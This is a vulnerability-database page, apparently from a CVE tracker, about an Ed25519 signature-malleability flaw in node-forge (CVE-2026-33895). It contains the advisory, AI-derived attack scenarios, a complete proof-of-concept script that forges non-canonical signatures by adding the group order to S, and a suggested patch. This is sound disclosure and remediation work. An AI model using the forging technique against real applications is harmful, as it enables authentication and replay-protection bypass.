Skip to main content

Node.js CVE-2026-33895

HIGH
Improper Verification of Cryptographic Signature (CWE-347)
2026-03-26 https://github.com/digitalbazaar/forge
7.5
CVSS 3.1 · Vendor: https://github.com/digitalbazaar/forge
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft Ed25519 signature with non-canonical scalar S ≥ L
  2. Exploit
    Submit forged signature to forge verification function
  3. Execution
    Bypass authentication or authorization checks
  4. Impact
    Gain unauthorized access

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A04:2025 - Cryptographic Failures
ASVS 5.0
V11 - Cryptography Signature verification
Exploitation Conditions

No special conditions — remote unauthenticated exploitation of Ed25519 signature verification in forge library. Attacker crafts non-canonical signature with unreduced scalar S >= L to bypass authentication/authorization on any application using forge's Ed25519 verification function.

Impact

The CVSS score of 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N) indicates high-severity integrity impact with network-based attack vector, low complexity, and no authentication required. Real-world risk is elevated because publicly available exploit code exists with a working proof-of-concept demonstrating the attack against the latest release. The vulnerability is exploitable by unauthenticated remote attackers (PR:N) with low complexity (AC:L), requiring only the ability to submit signatures for verification. No CISA KEV listing indicates no confirmed active exploitation at time of analysis, but the availability of detailed POC code, historical precedent of similar Ed25519 malleability exploitation in authentication systems, and common JWT/authentication use cases significantly increase the probability of real-world exploitation. Applications using signature-based deduplication, replay protection, or canonicalization checks face immediate bypass risk, making this a high-priority remediation despite absence of confirmed active exploitation.

Exploit ScenarioDerived

An attacker intercepts a valid Ed25519 signature used for JWT authentication or API request signing in an application using node-forge for verification. The attacker adds the Ed25519 group order L to the scalar component S (last 32 bytes) of the signature, creating a malleability variant that forge incorrectly accepts as valid. If the application implements replay protection by tracking previously seen signature bytes or deduplicates signed requests by signature hash, the attacker can reuse the authentication token with the modified signature to bypass these protections, gaining unauthorized access or executing duplicate transactions. The proof-of-concept code demonstrates this attack requires only mathematical manipulation of signature bytes with no cryptographic breaks or brute force.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 26, 2026

The digitalbazaar/forge npm package accepts forged Ed25519 signatures due to missing scalar canonicalization checks, allowing authentication and authorization bypass in applications that rely on signature uniqueness. All versions since Ed25519 implementation are affected (confirmed through version 1.3.3), identified as pkg:npm/node-forge. Publicly available exploit code exists with a complete proof-of-concept demonstrating how attackers can create multiple valid signatures for the same message by adding the group order L to the scalar component S, bypassing deduplication, replay protection, and signed-object canonicalization checks. The vendor has released a patch via commit bdecf11571c9f1a487cc0fe72fe78ff6dfa96b85.

RemediationAI

Upgrade to a patched version of node-forge that includes the fix from commit bdecf11571c9f1a487cc0fe72fe78ff6dfa96b85, available at https://github.com/digitalbazaar/forge/commit/bdecf11571c9f1a487cc0fe72fe78ff6dfa96b85. The patch adds strict canonical scalar validation (_isCanonicalSignatureScalar) that enforces S < L before scalar multiplication in the Ed25519 verification path, rejecting non-canonical signatures where the scalar component equals or exceeds the group order. Until patching is completed, implement application-layer signature deduplication using message digests or nonces rather than raw signature bytes, add explicit replay protection through timestamp validation with short validity windows, and consider migrating critical authentication flows to OpenSSL-backed implementations (Node.js crypto.verify) that already enforce RFC 8032 canonicalization requirements. Review all authentication and authorization logic that assumes signature uniqueness for potential bypass vulnerabilities. Consult the vendor advisory at https://github.com/digitalbazaar/forge/security/advisories/GHSA-q67f-28xg-22rw for additional guidance.

Affected Packages

npm node-forge fix: 1.4.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability affects the Ed25519 digital signature implementation in the node-forge library (pkg:npm/node-forge). Ed25519 is an elliptic curve signature scheme defined in RFC 8032 that requires strict canonicalization: valid signatures must have their scalar component S satisfy S < L, where L is the group order. The root cause (CWE-347: Improper Verification of Cryptographic Signature) lies in the crypto_sign_open function in lib/ed25519.js, which directly uses the signature's last 32 bytes for scalar multiplication via scalarbase without validating that S is reduced modulo the group order. This enables signature malleability where mathematically equivalent scalar classes (S and S+L) both pass verification in forge, while RFC 8032-compliant implementations like OpenSSL correctly reject non-canonical variants. The vulnerability mirrors similar Ed25519 malleability issues previously exploited in production systems (CVE-2026-25793, CVE-2022-35961).

Know when Node.js gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/digitalbazaar/forge) PRIMARY 7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Red Hat 7.5 HIGH

Primary rating from Vendor (https://github.com/digitalbazaar/forge).

CVSS VectorVendor: https://github.com/digitalbazaar/forge

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
None

Lifecycle Timeline

2
Patch released
Mar 26, 2026 - 22:16 nvd
Patch available
CVE Published
Mar 26, 2026 - 22:04 nvd
HIGH 7.5

DescriptionCVE.org

Summary

Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (S >= L). A valid signature and its S + L variant both verify in forge, while Node.js crypto.verify (OpenSSL-backed) rejects the S + L variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed.

Impacted Deployments

Tested commit: 8e1d527fe8ec2670499068db783172d4fb9012e5 Affected versions: tested on v1.3.3 (latest release) and all versions since Ed25519 was implemented.

Configuration assumptions:

  • Default forge Ed25519 verify API path (ed25519.verify(...)).

Root Cause

In lib/ed25519.js, crypto_sign_open(...) uses the signature's last 32 bytes (S) directly in scalar multiplication:

javascript
scalarbase(q, sm.subarray(32));

There is no prior check enforcing S < L (Ed25519 group order). As a result, equivalent scalar classes can pass verification, including a modified signature where S := S + L (mod 2^256) when that value remains non-canonical. The PoC demonstrates this by mutating only the S half of a valid 64-byte signature.

Reproduction Steps

  • Use Node.js (tested with v24.9.0) and clone digitalbazaar/forge at commit 8e1d527fe8ec2670499068db783172d4fb9012e5.
  • Place and run the PoC script (poc.js) with node poc.js in the same level as the forge folder.
  • The script generates an Ed25519 keypair via forge, signs a fixed message, mutates the signature by adding Ed25519 order L to S (bytes 32..63), and verifies both original and tweaked signatures with forge and Node/OpenSSL (crypto.verify).
  • Confirm output includes:
json
{
	"forge": {
		"original_valid": true,
		"tweaked_valid": true
	},
	"crypto": {
		"original_valid": true,
		"tweaked_valid": false
	}
}

Proof of Concept

Overview:

  • Demonstrates a valid control signature and a forged (S + L) signature in one run.
  • Uses Node/OpenSSL as a differential verification baseline.
  • Observed output on tested commit:
text
{
    "forge": {
        "original_valid": true,
        "tweaked_valid": true
    },
    "crypto": {
        "original_valid": true,
        "tweaked_valid": false
    }
}

<details><summary>poc.js</summary>

javascript
#!/usr/bin/env node
'use strict';

const path = require('path');
const crypto = require('crypto');
const forge = require('./forge');
const ed = forge.ed25519;

const MESSAGE = Buffer.from('dderpym is the coolest man alive!');

// Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032).
const ED25519_ORDER_L = Buffer.from([
  0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
  0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
]);

// For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature.
// This returns a new signature with s := s + L (mod 2^256), plus the carry.
function addLToS(signature) {
  if (!Buffer.isBuffer(signature) || signature.length !== 64) {
    throw new Error('signature must be a 64-byte Buffer');
  }
  const out = Buffer.from(signature);
  let carry = 0;
  for (let i = 0; i < 32; i++) {
    const idx = 32 + i; // s starts at byte 32 in the 64-byte signature.
    const sum = out[idx] + ED25519_ORDER_L[i] + carry;
    out[idx] = sum & 0xff;
    carry = sum >> 8;
  }
  return { sig: out, carry };
}

function toSpkiPem(publicKeyBytes) {
  if (publicKeyBytes.length !== 32) {
    throw new Error('publicKeyBytes must be 32 bytes');
  }
  // Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM.
  const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]);
  const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]);
  const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]);
  const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]);
  const b64 = spki.toString('base64').match(/.{1,64}/g).join('\n');
  return `-----BEGIN PUBLIC KEY-----\n${b64}\n-----END PUBLIC KEY-----\n`;
}

function verifyWithCrypto(publicKey, message, signature) {
  try {
    const keyObject = crypto.createPublicKey(toSpkiPem(publicKey));
    const ok = crypto.verify(null, message, keyObject, signature);
    return { ok };
  } catch (error) {
    return { ok: false, error: error.message };
  }
}

function toResult(label, original, tweaked) {
  return {
    [label]: {
      original_valid: original.ok,
      tweaked_valid: tweaked.ok,
    },
  };
}

function main() {
  const kp = ed.generateKeyPair();
  const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey });
  const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey });
  const tweaked = addLToS(sig);
  const okTweaked = ed.verify({
    message: MESSAGE,
    signature: tweaked.sig,
    publicKey: kp.publicKey,
  });
  const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig);
  const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig);
  const result = {
    ...toResult('forge', { ok }, { ok: okTweaked }),
    ...toResult('crypto', cryptoOriginal, cryptoTweaked),
  };
  console.log(JSON.stringify(result, null, 2));
}

main();

</details>

Suggested Patch

Add strict canonical scalar validation in Ed25519 verify path before scalar multiplication. (Parse S as little-endian 32-byte integer and reject if S >= L).

Here is a patch we tested on our end to resolve the issue, though please verify it on your end:

diff
index f3e6faa..87eb709 100644
--- a/lib/ed25519.js
+++ b/lib/ed25519.js
@@ -380,6 +380,10 @@ function crypto_sign_open(m, sm, n, pk) {
     return -1;
   }

+  if(!_isCanonicalSignatureScalar(sm, 32)) {
+    return -1;
+  }
+
   for(i = 0; i < n; ++i) {
     m[i] = sm[i];
   }
@@ -409,6 +413,21 @@ function crypto_sign_open(m, sm, n, pk) {
   return mlen;
 }

+function _isCanonicalSignatureScalar(bytes, offset) {
+  var i;
+  // Compare little-endian scalar S against group order L and require S < L.
+  for(i = 31; i >= 0; --i) {
+    if(bytes[offset + i] < L[i]) {
+      return true;
+    }
+    if(bytes[offset + i] > L[i]) {
+      return false;
+    }
+  }
+  // S == L is non-canonical.
+  return false;
+}
+
 function modL(r, x) {
   var carry, i, j, k;
   for(i = 63; i >= 32; --i) {

Resources

  • RFC 8032 (Ed25519): https://datatracker.ietf.org/doc/html/rfc8032#section-8.4
  • > Ed25519 and Ed448 signatures are not malleable due to the verification check that decoded S is smaller than l

Credit

This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 184 npm packages depend on node-forge (77 direct, 109 indirect)

Ecosystem-wide dependent count for version 1.4.0.

Executive ViewAI

Why It Matters

The node-forge npm package (all versions through 1.3.3) contains a cryptographic flaw in Ed25519 signature validation that allows attackers to forge multiple valid signatures for the same message, compromising any application relying on signature-based authentication or authorization. Organizations using node-forge for authentication workflows, API signing, or message integrity verification are at risk of unauthorized access and privilege escalation without updating to the patched version.

Business Impact: High
Compensating Controls

Apply vendor patch. If immediate patching is not feasible, disable Ed25519 signature verification in node-forge and enforce alternative cryptographic methods (RSA, ECDSA) until patched version is deployed; implement additional request validation, nonce-based replay detection, and strict signature canonicalization at the application layer as temporary mitigations.

Threat Intelligence Overview

EPSS Score
0.0%
Top 90% exploitable
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High
NVD CVE.org EPSS Vulnrichment Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Partial

Priority Score

58
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

Affected Products (CPE)CVE.org

pkg:npm/node-forge
CVE-2025-68613 HIGH POC
8.8 Dec 19

Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy